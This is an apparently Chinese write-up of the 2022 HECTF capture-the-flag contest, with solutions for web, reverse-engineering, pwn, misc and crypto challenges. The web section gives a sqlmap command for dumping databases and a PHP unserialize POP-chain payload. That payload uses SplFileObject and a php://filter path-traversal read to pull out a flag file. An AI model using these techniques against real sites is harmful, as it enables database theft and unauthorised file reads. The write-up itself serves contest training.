WEB
迷路的小狮
扫描目录找到找到/.htases目录提示访问之后,看路由去1目录提示hebnu,之后让用post方式,返回后是乱码可以用谷歌插件
之后改referer头
擎天注
python3 sqlmap.py -u http://url/?id=1 --dbs -batch
flag在ctf库下的3eDf4f07efC9ee16表下flag字段
easy_unserialize
poc
<?php
class A{
public $file;
}
class B{
public $str;
public $huang;
}
class C{
public $eee;
public $aaa;
public $ccc;
}
class D{
public $ddd;
public $ext;
}
$gagaga = new A();
$gagaga->file=new B();
$gagaga->file->str =new C();
$gagaga->file-> str -> eee = new B();
$gagaga->file-> str -> eee -> huang = new C();
$gagaga->file-> str -> eee -> huang ->ccc = new D();
$gagaga->file-> str -> eee -> huang ->ccc ->ddd ="SplFileObject";
$gagaga->file-> str -> eee -> huang ->ccc ->ext ="php://filter/read=convert.base64-encode/resource=../../../ffflllllaaaaaaggggg.txt";
echo (serialize($gagaga));
分析:
unserialize会调用wakeup ,wakeup里有isset,会调用B.__isset会执行echo,调用C.toString会调用flag(),flag()方法不存在会调用B.__call,retrun str属性 属性不存在调用C.__get(),function()类当做方法使用会调用__invoke(),invoke里边 是echo new $a($b)的形式 ,可以触发反序列化原生类
用上边的查目录 路径应该是../../../f*
然后出来ffffffllllllag.txt用SplFileObject+伪协议读取
SEVDVEZ7dV9maW5kX20NCnlfdHJ1bHlzZWxmfQ==
base64解码得到flag
RE
apk
包上HECTF{}即可
贝斯
字符串中可以看到base32的码表以及加密函数
按照逻辑
将P0w3r中的值 取反后输出,解base32
#include<stdio.h>
int main(){
unsigned char P0w3r[] =
{
0xB5, 0xBD, 0xBC, 0xAA, 0xB8, 0xA9, 0xBC, 0xB8, 0xAF, 0xB1,
0xBA, 0xAA, 0xB8, 0xCA, 0xB3, 0xAC, 0xB0, 0xB2, 0xA5, 0xAA,
0xCD, 0xC9, 0xB4, 0xAB, 0xB0, 0xAD, 0xAE, 0xA7, 0xBA, 0xCB,
0xA5, 0xAD, 0xB1, 0xA5, 0xBD, 0xB8, 0xAC, 0xCA, 0xBB, 0xAA,
0xB8, 0xB1, 0xA5, 0xBA, 0xB0, 0xCB, 0xAB, 0xB5, 0xB8, 0xB1,
0xAB, 0xBC, 0xB2, 0xA9, 0xA5, 0xAE, 0xB8, 0xB1, 0xC9, 0xAE
};
int i;
for(i=0;i<strlen(P0w3r);i++){
printf("%c",~P0w3r[i]);
}
}
base32解密
HelloIos
只是个异或0x1f后+1
flag2 = "X[]LZeX{ttqAwqmc"
for i,v in enumerate(flag2):
print(chr((ord(v)^0x1f)+1),end='')
author'sB0x
主要逻辑在EzEncryptText中
%256 经典rc4算法
从Cry提取数组
密钥Key
跑脚本解
def rc4_main(key = "init_key", plain = "init_message"): #主函数
s_box = rc4_init_sbox(key)
crypt = rc4_excrypt(plain, s_box)
return crypt
def rc4_init_sbox(key): #初始化sbox
s_box = list(range(256))
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
return s_box
def rc4_excrypt(plain, box): #rc4解密
res = []
i = j = 0
for s in plain:
if s <= 0:
s = s + 256
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(s ^ k))
cipher = "".join(res)
print("解密后的字符串是: %s" %cipher)
return cipher
if __name__ == '__main__':
print("此脚本仅用于对于数组的RC4解密\n")
# 这里输入数组
data = [ 0xC3, 0xF5, 0xE5, 0xE2, 0xEC, 0x17, 0xE5, 0x2A, 0xCA, 0x03,
0xB6, 0xFD, 0xC1, 0xBC, 0x70, 0x44, 0x10, 0xCD, 0xA6, 0x13,
0x0B, 0x9A, 0x73, 0x06, 0x0E, 0x4D, 0xDE, 0x95, 0x12, 0x9C,
0xD9, 0x46]
key = "thisiskey"
rc4_main(key, data)
run
先查壳,发现upx壳
准备upx-d脱壳可是没脱掉,应该是被魔改了,直接上脱壳机
查看主要加密函数
分析可得,这是个8*8*8的迷宫,+1 -1为左右移动,+8 -8为上下移动,+64 -64为前后移动
输入u会执行init函数初始化地图,所以输入31个u,定好断点,动调获取地图
获得地图,编写exp
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int check_s[200];
int m[10][8][8] ={
{0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},
{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},
{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},
{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},
{1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},
{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,0,1},
{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1},
{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0}
};
int dx[]={0,0,1,-1,0,0};
int dy[]={0,0,0,0,1,-1};
int dz[]={1,-1,0,0,0,0};
int dis[10][10][10];
char ccc[]={'u','n','s','w','d','a'};
char flag[900];
int len;
void dfs(int x,int y, int z,int k){
if(x==7&&y==7&&z==7){
for(int i=0;i<len;i++)
cout<<flag[i];
cout<<"\n";
}
dis[z][x][y]=k;
for(int i=0;i<6;i++){
int tx=x+dx[i];
int ty=y+dy[i];
int tz=z+dz[i];
if(tx<0||ty<0||tz<0||tx>7||ty>7||tz>7) continue;
if(m[tz][tx][ty]||dis[tz][tx][ty]<=k+1) continue;
flag[len++]=ccc[i];
dfs(tx,ty,tz,k+1);
len--;
}
}
int main(){
memset(dis,10,sizeof(dis));
dfs(0,0,0,0);
}
//ssddssuuwwddndduuussdussasauudd
PWN
真.签到
整数溢出
#include<stdio.h>
int main(){
int v4;
unsigned int v1;
for (v1=0;v1<800;v1++)
{
v4 = v1;
if ( (char)v4 < -125 && v4 > 255 )
printf("%d\n",v4);
}
}
不想算,爆破一下
输哪个都行,然后发现没有flag
在.flag里
MISC
咦~小鲨鱼来喽

舞者的秘密

gif⼀帧⼀帧查看
HECTF{LuckForYou}
你把我flag藏哪去了?


flag{kpomijnhuybrvdxezswq}
来捉迷藏啊


导出后解压zip 打开doc
⽂件尾有⽩⾊字符 为flag
没⼤没⼩的⿎励

提⽰74748183键盘密码sstv,⽤sstv解,得到base64的字符串
我的⼿要不⾏辣


千千秀字⾳符解密
2022HECTF调查问卷
CRYPTO
流动的⾳符

第⼀个加3为H,第⼆个+4为E,第⼆个+4为E
flag1 = [69,65,62,78,63,115,58,87,90,103,84,100,80,89,98,77,83,97,89,103]
for i,v in enumerate(flag1):
print(chr(i+v+3),end='')
Matrix

Ezrsa
import libnum
import gmpy2
from Crypto.Util.number import *
p_= 10660749010264526666955869622200514149424664070021154725214604278423033834800955315638637946982741577976025615843487738805576629855459529381681679497064453109727962183277768658053394103348827822686515016677449953958986089293779870089604784750116267441026319440135025236091029928565442799040007751858012409498271852333017388486644053877238274838173771344350870565886676055860728949042361028753924290647753862707042472944714140635484722345522648010064713004854479094986010632316750770118044301903260988074471243247031854872785324506292730778884664223412372663828159205320038546293395502275887356885181013870536857351801
q_= 24900409366873586425973971191854411152048453357438215578406168704445779543895031579176888535442469919297663892450230816720758414920791049333275007446412352293152157437672026001378469357187698312455020558413101033543700131403373834030395855212901673914686297701313223697181049265286011127188695284002470629178098454764536315245968458622929902214839704674718996340182311301099900271312644919770585429288043854743210617868761990329037081770477261306489047429460937057125193231432195877922731165870197358946683698077175950756482605399815830687563398277515452842563143685190688865084064679712177247354049377034394880941369
c= 946358882688806235743551077996671406469185038565566907261383734984318844703303437873183869084536703835433988817350857866089668970925835657856975155167500190428922521871327955274363186305180350899397478897928581580727458938934640786146518171503388507311655160765881370401217708135845031083189007308497775864484758699096082815479602777639307812516934937183952478316508418895341680335172973583094238147073379957772209947376051520041093030641369536800448737539973770258342422560893630082723217759837690008955748444973711508371077927468399703456466637348191192859278206925769696645636969358967735037470196395844215361527039288120664704552775460536654859848091685928057224735031528303041212702445718384890182474053295656578327780048497422707815820736647212902522526653039676698263673166412650104420869762547385554961873764933774143297622712766521201037469301912471740996998228799841957283759679784569638149555093498363791420486340
n= 1677924010415009671349677258549532467848510897335579570922114838282842960143799964694977371357046837674443739542407516581076865550606801686170400793463690366665534118961173768008603133641864003317727610676872685077700753537755254540591236871020140458419596610210236431401477173114522177145982007059709616618279936170223104755776796458682957656555154039384483954754660803554302451221585280396378564648495919069459351016010016636012245082009946238467068412198769348889950331295680906811430325690102055808865038151762131291269197341984605959088829226733422023970618165958725486675321766767430347929319621215891165857544847088373700410007500868721335483070938971597851859953792409442485301373327127595552457801719192824050415833073999094005750868115932130442747899994421453654008731830580286370350900523295205445599466666709544075950517531382971246869745425091317996973135364990272852701046046315136273893166361180330563013617843
e = 114
p = libnum.gcd(p_,n)
q = libnum.gcd(q_,n)
t = n//p//q
phi_n=(p-1)*(q-1)*(t-1)
e = 114
r = t
n=p*q*r
phi=(p-1)*(q-1)*(r-1)
t=gmpy2.gcd(e,phi)
d=gmpy2.invert(e//t,phi)
m=pow(c,d,n)
msg=gmpy2.iroot(m,t)
if msg[1]:
print(long_to_bytes(msg[0]))